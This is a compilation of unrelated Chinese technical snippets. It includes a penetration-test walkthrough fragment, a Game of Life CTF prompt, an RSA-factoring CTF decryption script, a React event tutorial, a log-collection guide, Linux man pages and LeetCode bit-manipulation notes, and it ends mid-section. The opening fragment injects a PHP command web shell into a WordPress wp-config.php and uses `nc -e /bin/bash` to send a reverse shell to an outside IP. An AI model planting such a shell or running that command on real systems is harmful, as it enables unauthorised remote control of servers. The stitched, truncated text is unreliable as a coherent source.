drwxr-xr-x 4 root root 4096 Mar 17 2018 wp-content
-rw-r--r-- 1 root root 3669 Mar 17 2018 wp-cron.php
drwxr-xr-x 18 root root 12288 Mar 17 2018 wp-includes
-rw-r--r-- 1 root root 2422 Mar 17 2018 wp-links-opml.php
-rw-r--r-- 1 root root 3306 Mar 17 2018 wp-load.php
-rw-r--r-- 1 root root 36583 Mar 17 2018 wp-login.php
-rw-r--r-- 1 root root 8048 Mar 17 2018 wp-mail.php
-rw-r--r-- 1 root root 16246 Mar 17 2018 wp-settings.php
-rw-r--r-- 1 root root 30071 Mar 17 2018 wp-signup.php
-rw-r--r-- 1 root root 4620 Mar 17 2018 wp-trackback.php
-rw-r--r-- 1 root root 3065 Mar 17 2018 xmlrpc.php
```
所以`wp-config.php`文件是可写的。`<?php`我们将在我们选择的文本编辑器中打开并通过在开始标记下面直接添加以下内容来注入一个简单的 PHP shell :
```
passthru($_GET['cmd']);
```

设置一个监听器并`nc -e /bin/bash 10.0.10.10 1337`用作我们的`cmd`值:


|
sec-knowleage
|
##Game of life (PPC/Recon, 500p)
Dont blink your Eyes, you might miss it. But the fatigue and exhaustion rules out any logic, any will to stay awake. What you need now is a slumber. Cat nap will not do. 1 is LIFE and 0 is DEAD. in this GAME OF LIFE sleep is as important food. So... catch some sleep. But Remember...In the world of 10x10 matirx, the Life exists. If you SLOTH, sleep for 7 Ticks, or 7 Generation, In the game of Life can you tell what will be the state of the world?
The world- 10x10
0000000000,0000000000,0001111100,0000000100,0000001000,0000010000,0000100000,0001000000,0000000000,000000000
###PL
[ENG](#eng-version)
###ENG version
|
sec-knowleage
|
### 事件监听
当你需要为某个元素监听某个事件的时候,只需要简单地给它加上`on*`就可以了。而且你不需要考虑不同浏览器兼容性的问题
React.js 会给每个事件监听传入一个`event`对象,这个对象提供的功能和浏览器提供的功能一致,而且它是兼容所有浏览器的。
例如我们现在要给`button`加上点击的事件监听:
```
class App extends React.Component{
handleClick(){
console.log('Click')
}
render(){
return(
<button onClick={this.handleClick.bind(this)}>点击</button>
)
}
}
```
只需要给 button 按钮加上 onClick 的事件,onClick 紧跟着是一个表达式插入,这个表达式返回一个 App 自己的一个实例方法。
当用户点击按钮的时候,React.js 就会调用这个方法,所以你在控制台就可以看到 Click 打印出来。
绑定的时候给事件监听函数传入一些参数:
```
class App extends React.Component{
constructor(){
super()
this.state = {
data:0
};
}
handleNum(num){
this.setState({
data:this.state.data + num
})
}
render(){
return(
<div>
<span>{this.state.data}</span><br />
<input type='button' value='+1' onClick={this.handleNum.bind(this,+1)} />
<input type='button' value='-1' onClick={this.handleNum.bind(this,-1)} />
</div>
)
}
}
```
新的可控组件方法:
```
import React from 'react'
import ReactDOM from 'react-dom'
class App extends React.Component{
constructor(){
super()
this.handleClick = this.handleClick.bind(this)
}
handleClick(){
console.log(this)
}
render(){
return (
<div>
App
<button onClick={this.handleClick}>click</button>
</div>
)
}
}
ReactDOM.render(<App />,document.querySelect('#root'))
```
**注意**
- 事件用驼峰命名法
- 这些 on* 的事件监听只能用在普通的 HTML 的标签上,而不能用在组件标签上
- 事件监听函数会被自动传入一个 event 对象
- bind会把实例方法绑定到当前实例上,然后我们再把绑定后的函数传给React.js的 onClick事件监听
- 可以在 bind 的时候给事件监听函数传入一些参数
|
sec-knowleage
|
import subprocess, string, itertools, random, binascii, base64, sys
def get_n(f):
s=subprocess.check_output(["openssl","rsa","-noout","-text","-inform","PEM","-pubin","-in",f])
start=string.find(s,"Modulus:")
end=string.find(s,"Exponent:")
modulus=s[start:end].replace("Modulus:","").replace("\n","").replace(":","").replace(" ","")
return int(modulus, 16)
print get_n("bob.pub")
print get_n("bob2.pub")
print get_n("bob3.pub")
#From yafu:
p=[20016431322579245244930631426505729, 16549930833331357120312254608496323, 19193025210159847056853811703017693]
q=[17963604736595708916714953362445519, 16514150337068782027309734859141427, 17357677172158834256725194757225793]
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
def get_d(p, q):
phi=(p-1)*(q-1)
return modinv(65537, phi)
def decrypt(ct, p, q):
ct=int(binascii.hexlify(ct), 16)
s=hex(pow(ct, get_d(p,q), p*q))[2:]
if s[-1]=="L":
s=s[:-1]
if len(s)%2!=0:
s="0"+s
return binascii.unhexlify(s)
txt=open("secret.enc","rb").read().split("\n")
cts=[]
for i in txt:
if i=="":
continue
cts.append(base64.b64decode(i))
for ct in cts:
for i in range(3):
pt=decrypt(ct, p[i], q[i])
for c in pt:
if c in string.printable:
sys.stdout.write(c)
else:
sys.stdout.write(" ")
print ""
|
sec-knowleage
|
# 日志分析
### Web日志分析目标
* 返回状态码分布图:针对Java出现大量500的情况需要注意;
* PV趋势图:
* 源IP分布图:
* 来源国家排行:
* 来源城市排行:
* 独立IP访问趋势图:
* 访问路径排行:
* 访问来源排行:
* 浏览器分布图:
* 特定接口访问图:
### 日志分析架构
我们企业内部使用的架构:
> 日志源-->rsyslog client-->rsyslog server-->kafka cluster-->ELK cluster
* **rsyslog client**
```
# 导入模块
module(load="imfile" mode="inotify")
# 设置工作目录
$WorkDirectory /var/lib/rsyslog
$ActionQueueWorkerThreads 1
$ActionQueueDequeueBatchSize 30
$ActionQueueDequeueSlowdown 300
$ActionQueueDiscardSeverity 8
$ActionQueueFileName action_queue_buffer_bitun_nginx_access
$ActionQueueMaxDiskSpace 10m
$ActionQueueSaveOnShutdown on
$MaxMessageSize 64k
input(type="imfile"
File="log-path"
Tag="tag_name"
Severity="info"
PersistStateInterval="20000"
reopenOnTruncate="on"
)
if $programname == 'tag_name' then @@Rsyslog Server IP:Port
if $programname == 'tag_name' then stop
```
* **rsyslog server**
```
module(load="omkafka")
$SystemLogSocketFlowControl on #如果队列满了,会暂停一会等待队列消耗
$SystemLogRateLimitInterval 0 #default 0 速率限制,改为0不限制
$ActionQueueType LinkedList # use asynchronous processing
$ActionQueueFileName backup_local # set file name, also enables disk mode
$ActionResumeRetryCount -1 # infinite retries on insert failure
$ActionQueueSaveOnShutdown on
$ActionQueueMaxFileSize 500m
$ActionQueueMaxDiskSpace 10g
$template l7_msg,"%msg:1:$%"
:rawmsg, contains, "tag_name" action(
type="omkafka"
broker="Kafka Server IP:Port(默认9092)"
topic="topic_name"
partitions.number="10"
confParam=[
"socket.keepalive.enable=true"
]
template="l7_msg"
action.resumeretrycount="1"
)
```
* **kafka cluster**
```
# 创建好topic
```
* **Logstash**
```
input {
kafka {
bootstrap_servers => ["Kakfa Server IP:Port(默认9092)"]
topics => ["topic_name"]
type => "httpd"
}
}
output {
elasticsearch {
hosts => ["ElasticSearch Server IP:Port(默认9200)"]
index => "httpd-%{+YYYY.MM}"
}
}
```
## 日志源
## 日志采集
### rsyslog
参考:日志分析架构一节
[官方文档](https://www.rsyslog.com/connecting-with-logstash-via-apache-kafka/)
### Beats
```
Filebeat:
Packetbeat:
Metricbeat:
Winlogbeat:
```
* **Beats安装**
[安装文档](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-installation.html)
* **Beats配置**
[Input 配置](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-filebeat-options.html)
[Output 配置](https://www.elastic.co/guide/en/beats/filebeat/current/configuring-output.html)
* **Beats案例**
### Flume
* source:
* channel:
* sink:
* **Flume安装**
```
# 解决依赖
tar -xf jdk-8u191-linux-x64.tar.gz -C /app/
vim /etc/profile
export JAVA_HOME=/app/jdk1.8.0_191
export PATH=$JAVA_HOME/bin:$PATH
source /etc/profile
# 验证java是否安装成功
java -version
# 下载flume,解压到指定目录
tar -xf apache-flume-1.8.0-bin.tar.gz -C /app/
# 配置环境变量
vim /etc/profile
```
/etc/profile文件内容:
```
export FLUME_HOME=/app/apache-flume-1.8.0-bin
export PATH=$FLUME_HOME/bin:$PATH
```
```
source /etc/profile
# 配置flume运行环境文件
cp /app/apache-flume-1.8.0-bin/conf/flume-env.sh.template /app/apache-flume-1.8.0-bin/conf/flume-env.sh
vim /app/apache-flume-1.8.0-bin/conf/flume-env.sh
```
flume-env.sh文件内容:
```
export JAVA_HOME=JAVA_PATH
```
```
# 查看是否安装完成
flume-ng version
```
* **Flume案例:从指定网络端口采集数据输出到控制台**
[官方文档](http://flume.apache.org/FlumeUserGuide.html#a-simple-example)
创建配置文件:
```
vim /app/apache-flume-1.8.0-bin/conf/example-1.conf
```
example-1.conf文件内容:
```
# a1:agent名称
# r1:source名称
# c1:channel名称
# k1:sink名称
# Name the components on this agent
a1.sources = r1
a1.channels = c1
a1.sinks = k1
# Describe/configure the source
a1.sources.r1.type = netcat
a1.sources.r1.bind = localhost
a1.sources.r1.port = 44444
# Describe the sink
a1.sinks.k1.type = logger
# Use a channel which buffers events in memory
a1.channels.c1.type = memory
a1.channels.c1.capacity = 1000
a1.channels.c1.transactionCapacity = 100
# Bind the source and sink to the channel
a1.sources.r1.channels = c1
a1.sinks.k1.channel = c1
```
执行命令:
```
flume-ng agent --name a1 --conf /app/apache-flume-1.8.0-bin/conf \
--conf-file /app/apache-flume-1.8.0-bin/conf/example-1.conf \
-Dflume.root.logger=INFO,console
# 备注:-Dflume.root.logger=INFO,console(java参数,INFO输出到控制台)
```
对输出结果的说明:
```
Event是Flume数据传输的基本单元,Event=[header(可选)] + <body(必选)>
```
* **Flume案例:实时监控文件新增数据输出到控制台**
创建配置文件:
```
vim /app/apache-flume-1.8.0-bin/conf/example-2.conf
```
example-2.conf文件内容:
```
# Name the components on this agent
a1.sources = r1
a1.sinks = k1
a1.channels = c1
# Describe/configure the source
a1.sources.r1.type = exec
a1.sources.r1.command = tail -F /var/log/messages
a1.sources.r1.shell = /bin/sh -c
# Describe the sink
a1.sinks.k1.type = logger
# Use a channel which buffers events in memory
a1.channels.c1.type = memory
a1.channels.c1.capacity = 1000
a1.channels.c1.transactionCapacity = 100
# Bind the source and sink to the channel
a1.sources.r1.channels = c1
a1.sinks.k1.channel = c1
```
执行命令:
```
flume-ng agent --name a1 --conf /app/apache-flume-1.8.0-bin/conf \
--conf-file /app/apache-flume-1.8.0-bin/conf/example-2.conf \
-Dflume.root.logger=INFO,console
```
* **Flume案例:将Server1的日志传输到Server2的控制台**
在sever1创建配置文件:
```
vim /app/apache-flume-1.8.0-bin/conf/exec-memory-avro.conf
```
exec-memory-avro.conf文件内容:
```
exec-memory-avro.sources = exec-source
exec-memory-avro.sinks = avro-sink
exec-memory-avro.channels = memory-channel
exec-memory-avro.sources.exec-source.type = exec
exec-memory-avro.sources.exec-source.command = tail -F /var/log/messages
exec-memory-avro.sources.exec-source.shell = /bin/sh -c
exec-memory-avro.sinks.avro-sink.type = avro
exec-memory-avro.sinks.avro-sink.hostname = localhost
exec-memory-avro.sinks.avro-sink.port = 44444
exec-memory-avro.channels.memory-channel.type = memory
exec-memory-avro.channels.memory-channel.capacity = 1000
exec-memory-avro.channels.memory-channel.transactionCapacity = 100
exec-memory-avro.sources.exec-source.channels = memory-channel
exec-memory-avro.sinks.avro-sink.channel = memory-channel
```
在server2创建配置文件:
```
vim /app/apache-flume-1.8.0-bin/conf/avro-memory-logger.conf
```
avro-memory-logger.conf文件内容:
```
avro-memory-logger.sources = avro-source
avro-memory-logger.sinks = logger-sink
avro-memory-logger.channels = memory-channel
avro-memory-logger.sources.avro-source.type = avro
avro-memory-logger.sources.avro-source.bind = localhost
avro-memory-logger.sources.avro-source.port = 44444
avro-memory-logger.sinks.logger-sink.type = logger
avro-memory-logger.channels.memory-channel.type = memory
avro-memory-logger.channels.memory-channel.capacity = 1000
avro-memory-logger.channels.memory-channel.transactionCapacity = 100
avro-memory-logger.sources.avro-source.channels = memory-channel
avro-memory-logger.sinks.logger-sink.channel = memory-channel
```
执行命令:**先在server2执行,再执行server1**
```
flume-ng agent --name avro-memory-logger --conf /app/apache-flume-1.8.0-bin/conf \
--conf-file /app/apache-flume-1.8.0-bin/conf/avro-memory-logger.conf \
-Dflume.root.logger=INFO,console
flume-ng agent --name exec-memory-avro --conf /app/apache-flume-1.8.0-bin/conf \
--conf-file /app/apache-flume-1.8.0-bin/conf/exec-memory-avro.conf \
-Dflume.root.logger=INFO,console
```
### Logstash
[官方文档](https://www.elastic.co/guide/en/logstash/current/installing-logstash.html)
## 日志处理
### Logstash filter
### Spark or Storm
## 日志存储
### Database
### ElasticSearch
### Hive
### HBase
## 可视化展示(日志价值)
### Kibana
### Graylog
## 日志分析平台对比
## 参考资料
[几十条业务线日志系统如何收集处理?](https://www.cnblogs.com/zhangs1986/p/6897200.html)
[Splunk vs ELK](https://www.upguard.com/articles/splunk-vs-elk)
|
sec-knowleage
|
.TH WALL "1" "2013年8月" "util-linux" "用户命令"
.SH 名称
wall -- 向所有人发送消息
.SH 总览
.B wall
.RB [ \-n ]
.RB [ \-t
.IR 超时时间 ]
.RB [ \-g
.IR 用户组 ]
.RI [ 消息内容 " | " 文件 ]
.SH 描述
.B wall
显示一条给定的
.IR 消息内容 ,
或是
.IR 给定文件
中的内容,或者程序标准输入的内容,将其显示在所有当前已登录用户的终端上。
该命令会自动将长于 79 字符的行进行折行。
短行将会使用空格填充到 79 字符的宽度。
该命令总会在每行末尾放置一个回车符和一个换行符。
.PP
只有超级用户才能写入选择拒绝接收消息的用户的终端上,
或是使用程序自动拒绝接收消息的用户终端上。
.PP
当程序调用者不是超级用户,且程序是设置用户 ID 或设置组 ID
的状态下时,从
.I 指定文件
读取消息的操作将会被拒绝。
.SH 选项
.TP
.BR \-n , " \-\-nobanner"
不显示抬头信息。
.TP
.BR \-t , " \-\-timeout " \fI超时时间\fR
在给定\fI超时\fR秒数后放弃写入终端的尝试。
\fI超时时间\fR必须是一个正整数。默认值是 300
秒,这个默认值是从调制解调器时代遗留下来的结果。
.TP
.BR \-g , " \-\-group " \fI用户组\fR
限制仅将消息发送给指定用户组的成员。参数可以是用户组名或 GID。
.TP
.BR \-V , " \-\-version"
显示版本信息并退出。
.TP
.BR \-h , " \-\-help"
显示帮助文本并退出。
.SH 备注
某些会话,例如 wdm,在
.BR utmp (5)
ut_type 数据的起始部分会记录一个 ':' 符号,这些用户会话不会收到
.BR wall
发来的消息。这么做是为了避免出现写入错误。
.SH 参见
.BR mesg (1),
.BR talk (1),
.BR write (1),
.BR shutdown (8)
.SH 历史
.B wall
命令在 AT&T UNIX 第 7 版中出现。
.SH 可用性
wall 命令是 util-linux 软件包的一部分,可以在
.UR https://\:www.kernel.org\:/pub\:/linux\:/utils\:/util-linux/
Linux 内核存档
.UE
中找到。
.\" manpages-zh translator: Boyuan Yang
.\" manpages-zh date: 2018-04-17
.\" manpages-zh orig-package: util-linux
|
sec-knowleage
|
.\" Copyright (c) 2002 Andries Brouwer <aeb@cwi.nl>
.\"
.\" %%%LICENSE_START(VERBATIM)
.\" Permission is granted to make and distribute verbatim copies of this
.\" manual provided the copyright notice and this permission notice are
.\" preserved on all copies.
.\"
.\" Permission is granted to copy and distribute modified versions of this
.\" manual under the conditions for verbatim copying, provided that the
.\" entire resulting derived work is distributed under the terms of a
.\" permission notice identical to this one.
.\"
.\" Since the Linux kernel and libraries are constantly changing, this
.\" manual page may be incorrect or out-of-date. The author(s) assume no
.\" responsibility for errors or omissions, or for damages resulting from
.\" the use of the information contained herein. The author(s) may not
.\" have taken the same level of care in the production of this manual,
.\" which is licensed free of charge, as they might when working
.\" professionally.
.\"
.\" Formatted or processed versions of this manual, if unaccompanied by
.\" the source, must acknowledge the copyright and authors of this work.
.\" %%%LICENSE_END
.\"
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH INTRO 1 2015\-07\-23 Linux "Linux 用户手册"
.SH 名称
intro \- 用户命令的介绍
.SH 描述
手册页的第一部分描述了用户命令和工具,例如,文件操作工具、各个 shell、编译器、网页浏览器、文件和图像查看器和编辑器,等等。
.SH 注记
Linux 是类 UNIX 的一个变种,粗略地看,很多 UNIX 下的用户命令都可以同样地在 Linux(以及 FreeBSD 和很多其它类 UNIX
系统上)工作。
.LP
在 Linux 下,存在 GUI(图形用户界面),其中您可以进行指向、点击或者拖曳,这些工作一般不需要阅读大量手册即可完成。传统的 UNIX 环境是一个
CLI(命令行用户界面),其中您键入命令来告诉计算机该做什么。这样更快、更强大,但是需要先弄清楚这些命令是什么。下面是如何开始工作的一些基础性指导。
.SS 登录
要开始工作,您可能需要首先提供您的用户名和密码以打开一个会话。\fBlogin\fP(1) 程序现在会为您启动一个
\fIshell\fP(命令解释器)。在图形登录的时候,您需要在一个有着菜单和图标的屏幕上使用鼠标点击,最终可以在一个窗口内启动一个 shell。参见
\fBxterm\fP(1)。
.SS "使用 shell"
用户输入命令并将其传送给命令解释器,即 \fIshell\fP。它不是内置的,只是一个独立程序,您可以更改自己使用的
shell。每个人都有其最喜爱的选择。标准的 shell 被称作 \fIsh\fP。参见
\fBash\fP(1)、\fBbash\fP(1)、\fBchsh\fP(1)、\fBcsh\fP(1)、\fBdash\fP(1)、\fBksh\fP(1)、\fBzsh\fP(1)。
.LP
一个会话的进行可能如下所示:
.LP
.RS
.nf
knuth login: \fBaeb\fP
Password: \fB********\fP
$ \fBdate\fP
Tue Aug 6 23:50:44 CEST 2002
$ \fBcal\fP
August 2002
Su Mo Tu We Th Fr Sa
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
$ \fBls\fP
bin tel
$ \fBls \-l\fP
total 2
drwxrwxr\-x 2 aeb 1024 Aug 6 23:51 bin
\-rw\-rw\-r\-\- 1 aeb 37 Aug 6 23:52 tel
$ \fBcat tel\fP
maja 0501\-1136285
peter 0136\-7399214
$ \fBcp tel tel2\fP
$ \fBls \-l\fP
total 3
drwxr\-xr\-x 2 aeb 1024 Aug 6 23:51 bin
\-rw\-r\-\-r\-\- 1 aeb 37 Aug 6 23:52 tel
\-rw\-r\-\-r\-\- 1 aeb 37 Aug 6 23:53 tel2
$ \fBmv tel tel1\fP
$ \fBls \-l\fP
total 3
drwxr\-xr\-x 2 aeb 1024 Aug 6 23:51 bin
\-rw\-r\-\-r\-\- 1 aeb 37 Aug 6 23:52 tel1
\-rw\-r\-\-r\-\- 1 aeb 37 Aug 6 23:53 tel2
$ \fBdiff tel1 tel2\fP
$ \fBrm tel1\fP
$ \fBgrep maja tel2\fP
maja 0501\-1136285
$
.fi
.RE
.LP
这里键入 Control\-D 会终止会话。
.LP
这里的 \fB$\fP 是命令提示符\(em这是 shell
用来提示它已经准备好接收下一条命令的方式。提示符可以用许多方式进行定制,同时可能包含诸如用户名、机器名、当前目录、时间等等附加信息。进行一次类似
PS1="下面该做些什么,主人?" 这样的赋值可以按照用户要求修改该提示的内容。
.LP
我们可以看见的命令有 \fIdate\fP(提供日期和时间),以及 \fIcal\fP(提供日历)。
.LP
命令 \fIls\fP 列出当前目录的内容\(em它告诉您您拥有什么文件。使用 \fI\-l\fP
选项可以给出一个长列表,其中包括文件的所有者、大小和日期,以及人们读取和/或修改它的权限。例如,这里的“tel”有37字节长,由 aeb
所有,其所有者可以读取或写入它,其他人只能读取它。所有者和权限可以使用 \fIchown\fP 和 \fIchmod\fP 命令进行修改。
.LP
命令 \fIcat\fP 将会显示一个文件的内容。(其名称来自“concatenate and
print”:所有当作参数给出的文件将会被连接起来并发送至“标准输出”(见 \fBstdout\fP(3)),这里是终端屏幕。)
.LP
命令 \fIcp\fP(来自 "copy" 单词)将会复制一个文件。
.LP
命令 \fImv\fP(来自“move”),则只会将其重命名。
.LP
命令 \fIdiff\fP 列出两个文件之间的不同之处。这里没有输出,因为两者之间没有区别。
.LP
命令 \fIrm\fP(来自“remove”)删除文件,请小心!它不见了。没有回收站或者类似的东西。删除即意味着丢失。
.LP
命令 \fIgrep\fP(来自“g/re/p”)在一个或多个文件中寻找某个字符串的出现情况。这里它找到了 Maja 的电话号码。
.SS 路径名和当前目录
文件存在于一个巨大的树结构中,即文件目录结构。每个文件有一个 \fIpathname\fP 描述从树的树根(被称作
\fI/\fP)到这个文件的路径。例如,这样的一个完整路径名可能是
\fI/home/aeb/tel\fP。总是使用完整的路径名可能不太方便,所以当前目录下文件的名称可以缩写为只给出其最后一部分。这就是在当前目录是
\fI/home/aeb\fP 时 \fI/home/aeb/tel\fP 可以被缩写为 \fItel\fP 的原因。
.LP
命令 \fIpwd\fP 打印当前目录。
.LP
命令 \fIcd\fP 改变当前目录。
.LP
请交替尝试使用 \fIcd\fP 和 \fIpwd\fP 命令并探索 \fIcd\fP 的用法:“cd”、“cd .”、“cd ..”、“cd /”和“cd ~”。
.SS 目录
命令 \fImkdir\fP 创建一个新目录。
.LP
命令 \fIrmdir\fP 在目录为空的情况下删除该目录,若非空则提示出错。
.LP
命令 \fIfind\fP 具有不寻常的语法,它可以使用给定的文件名或其它属性查找文件。例如,“find . \-name tel”会从当前目录(也被称作
\&\fI.\fP)开始寻找文件 \fItel\fP。而“find / \-name tel”会做同样的工作,但是从目录树的根开始寻找。在以 GB
为单位计量容量的磁盘上进行大规模查找可能耗时很多,使用 \fBlocate\fP(1) 可能是相对更好的方案。
.SS 磁盘和文件系统
命令 \fImount\fP 会将某些磁盘(或者软盘、光盘等等)上寻找到的文件系统挂载到大的文件系统层次中。而 \fIumount\fP 会将其重新卸载。命令
\fIdf\fP 会告诉您磁盘上还有多少空闲空间。
.SS 进程
在一个 UNIX 系统上,有许多用户进程和系统进程同时运行。您正与其交互的进程被称为在 \fI前台\fP 运行,其它的则在 \fI后台\fP。命令 \fIps\fP
将会为您显示哪些进程是活跃的,以及这些进程的编号。命令 \fIkill\fP 允许您将其停止。如果没有额外参数,这将是一个友好的请求:请停止吧。而“kill
\-9”命令,后面加上该进程的编号则会立刻杀死它。前台进程通常可以通过按下 Control\-C 来杀死。
.SS 获取信息
系统上可能有成千上万个命令,每个都有许多可用参数。传统上,命令使用 \fIman 手册页\fP 进行记录(类似当前这个文档),这样使用“man
kill”命令就可以显示命令“kill”的使用方法(而“man man”则记录了命令“man”的使用方法)。“man”程序将文字送给某些
\fI分页器\fP,通常是 \fIless\fP 程序。敲击空格键可以翻到下一页,点击 q 可以退出。
.LP
文档中,习惯上会使用一个名称和一个分类编号来指代一个手册页,例如
\fBman\fP(1)。手册页通常简明扼要,允许您在忘记某些细节时进行快速查找。对新手来说,一段介绍性文字和更多的示例和解释可能会更有用。
.LP
许多 GNU/FSF 软件提供了 info 文件。输入“info info”以查阅使用 \fIinfo\fP 程序的一段介绍。
.LP
.\"
.\" Actual examples? Separate section for each of cat, cp, ...?
.\" gzip, bzip2, tar, rpm
特别的主题通常被作为 HOWTO 文档。请在 \fI/usr/share/doc/howto/en\fP 目录下看一看,如果您找到了 HTML
文档的话,请使用浏览器阅览。
.SH 参见
\fBash\fP(1), \fBbash\fP(1), \fBchsh\fP(1), \fBcsh\fP(1), \fBdash\fP(1), \fBksh\fP(1),
\fBlocate\fP(1), \fBlogin\fP(1), \fBman\fP(1), \fBxterm\fP(1), \fBzsh\fP(1), \fBwait\fP(2),
\fBstdout\fP(3), \fBman\-pages\fP(7), \fBstandards\fP(7)
.SH 跋
本页面是 Linux \fIman\-pages\fP 项目 4.09 版的一部分。该项目的描述、有关报告错误的信息以及本页面的最新版本可以在
\%https://www.kernel.org/doc/pan\-pages/ 上找到。
|
sec-knowleage
|
# Leetcode 题解 - 位运算
<!-- GFM-TOC -->
* [Leetcode 题解 - 位运算](#leetcode-题解---位运算)
* [0. 原理](#0-原理)
* [1. 统计两个数的二进制表示有多少位不同](#1-统计两个数的二进制表示有多少位不同)
* [2. 数组中唯一一个不重复的元素](#2-数组中唯一一个不重复的元素)
* [3. 找出数组中缺失的那个数](#3-找出数组中缺失的那个数)
* [4. 数组中不重复的两个元素](#4-数组中不重复的两个元素)
* [5. 翻转一个数的比特位](#5-翻转一个数的比特位)
* [6. 不用额外变量交换两个整数](#6-不用额外变量交换两个整数)
* [7. 判断一个数是不是 2 的 n 次方](#7-判断一个数是不是-2-的-n-次方)
* [8. 判断一个数是不是 4 的 n 次方](#8--判断一个数是不是-4-的-n-次方)
* [9. 判断一个数的位级表示是否不会出现连续的 0 和 1](#9-判断一个数的位级表示是否不会出现连续的-0-和-1)
* [10. 求一个数的补码](#10-求一个数的补码)
* [11. 实现整数的加法](#11-实现整数的加法)
* [12. 字符串数组最大乘积](#12-字符串数组最大乘积)
* [13. 统计从 0 \~ n 每个数的二进制表示中 1 的个数](#13-统计从-0-\~-n-每个数的二进制表示中-1-的个数)
<!-- GFM-TOC -->
## 0. 原理
**基本原理**
0s 表示一串 0,1s 表示一串 1。
```
x ^ 0s = x x & 0s = 0 x | 0s = x
x ^ 1s = ~x x & 1s = x x | 1s = 1s
x ^ x = 0 x & x = x x | x = x
```
利用 x ^ 1s = \~x 的特点,可以将一个数的位级表示翻转;利用 x ^ x = 0 的特点,可以将三个数中重复的两个数去除,只留下另一个数。
```
1^1^2 = 2
```
利用 x & 0s = 0 和 x & 1s = x 的特点,可以实现掩码操作。一个数 num 与 mask:00111100 进行位与操作,只保留 num 中与 mask 的 1 部分相对应的位。
```
01011011 &
00111100
--------
00011000
```
利用 x | 0s = x 和 x | 1s = 1s 的特点,可以实现设值操作。一个数 num 与 mask:00111100 进行位或操作,将 num 中与 mask 的 1 部分相对应的位都设置为 1。
```
01011011 |
00111100
--------
01111111
```
**位与运算技巧**
n&(n-1) 去除 n 的位级表示中最低的那一位 1。例如对于二进制表示 01011011,减去 1 得到 01011010,这两个数相与得到 01011010。
```
01011011 &
01011010
--------
01011010
```
n&(-n) 得到 n 的位级表示中最低的那一位 1。-n 得到 n 的反码加 1,也就是 -n=\~n+1。例如对于二进制表示 10110100,-n 得到 01001100,相与得到 00000100。
```
10110100 &
01001100
--------
00000100
```
n-(n&(-n)) 则可以去除 n 的位级表示中最低的那一位 1,和 n&(n-1) 效果一样。
**移位运算**
\\>\\> n 为算术右移,相当于除以 2n,例如 -7 \\>\\> 2 = -2。
```
11111111111111111111111111111001 >> 2
--------
11111111111111111111111111111110
```
\\>\\>\\> n 为无符号右移,左边会补上 0。例如 -7 \\>\\>\\> 2 = 1073741822。
```
11111111111111111111111111111001 >>> 2
--------
00111111111111111111111111111111
```
\<\< n 为算术左移,相当于乘以 2n。-7 \<\< 2 = -28。
```
11111111111111111111111111111001 << 2
--------
11111111111111111111111111100100
```
**mask 计算**
要获取 111111111,将 0 取反即可,\~0。
要得到只有第 i 位为 1 的 mask,将 1 向左移动 i-1 位即可,1\<\<(i-1) 。例如 1\<\<4 得到只有第 5 位为 1 的 mask :00010000。
要得到 1 到 i 位为 1 的 mask,(1\<\<i)-1 即可,例如将 (1\<\<4)-1 = 00010000-1 = 00001111。
要得到 1 到 i 位为 0 的 mask,只需将 1 到 i 位为 1 的 mask 取反,即 \~((1\<\<i)-1)。
**Java 中的位操作**
```html
static int Integer.bitCount(); // 统计 1 的数量
static int Integer.highestOneBit(); // 获得最高位
static String toBinaryString(int i); // 转换为二进制表示的字符串
```
## 1. 统计两个数的二进制表示有多少位不同
461. Hamming Distance (Easy)
[Leetcode](https://leetcode.com/problems/hamming-distance/) / [力扣](https://leetcode-cn.com/problems/hamming-distance/)
```html
Input: x = 1, y = 4
Output: 2
Explanation:
1 (0 0 0 1)
4 (0 1 0 0)
↑ ↑
The above arrows point to positions where the corresponding bits are different.
```
对两个数进行异或操作,位级表示不同的那一位为 1,统计有多少个 1 即可。
```java
public int hammingDistance(int x, int y) {
int z = x ^ y;
int cnt = 0;
while(z != 0) {
if ((z & 1) == 1) cnt++;
z = z >> 1;
}
return cnt;
}
```
使用 z&(z-1) 去除 z 位级表示最低的那一位。
```java
public int hammingDistance(int x, int y) {
int z = x ^ y;
int cnt = 0;
while (z != 0) {
z &= (z - 1);
cnt++;
}
return cnt;
}
```
可以使用 Integer.bitcount() 来统计 1 个的个数。
```java
public int hammingDistance(int x, int y) {
return Integer.bitCount(x ^ y);
}
```
## 2. 数组中唯一一个不重复的元素
136\. Single Number (Easy)
[Leetcode](https://leetcode.com/problems/single-number/description/) / [力扣](https://leetcode-cn.com/problems/single-number/description/)
```html
Input: [4,1,2,1,2]
Output: 4
```
两个相同的数异或的结果为 0,对所有数进行异或操作,最后的结果就是单独出现的那个数。
```java
public int singleNumber(int[] nums) {
int ret = 0;
for (int n : nums) ret = ret ^ n;
return ret;
}
```
## 3. 找出数组中缺失的那个数
268\. Missing Number (Easy)
[Leetcode](https://leetcode.com/problems/missing-number/description/) / [力扣](https://leetcode-cn.com/problems/missing-number/description/)
```html
Input: [3,0,1]
Output: 2
```
题目描述:数组元素在 0-n 之间,但是有一个数是缺失的,要求找到这个缺失的数。
```java
public int missingNumber(int[] nums) {
int ret = 0;
for (int i = 0; i < nums.length; i++) {
ret = ret ^ i ^ nums[i];
}
return ret ^ nums.length;
}
```
## 4. 数组中不重复的两个元素
260\. Single Number III (Medium)
[Leetcode](https://leetcode.com/problems/single-number-iii/description/) / [力扣](https://leetcode-cn.com/problems/single-number-iii/description/)
两个不相等的元素在位级表示上必定会有一位存在不同。
将数组的所有元素异或得到的结果为不存在重复的两个元素异或的结果。
diff &= -diff 得到出 diff 最右侧不为 0 的位,也就是不存在重复的两个元素在位级表示上最右侧不同的那一位,利用这一位就可以将两个元素区分开来。
```java
public int[] singleNumber(int[] nums) {
int diff = 0;
for (int num : nums) diff ^= num;
diff &= -diff; // 得到最右一位
int[] ret = new int[2];
for (int num : nums) {
if ((num & diff) == 0) ret[0] ^= num;
else ret[1] ^= num;
}
return ret;
}
```
## 5. 翻转一个数的比特位
190\. Reverse Bits (Easy)
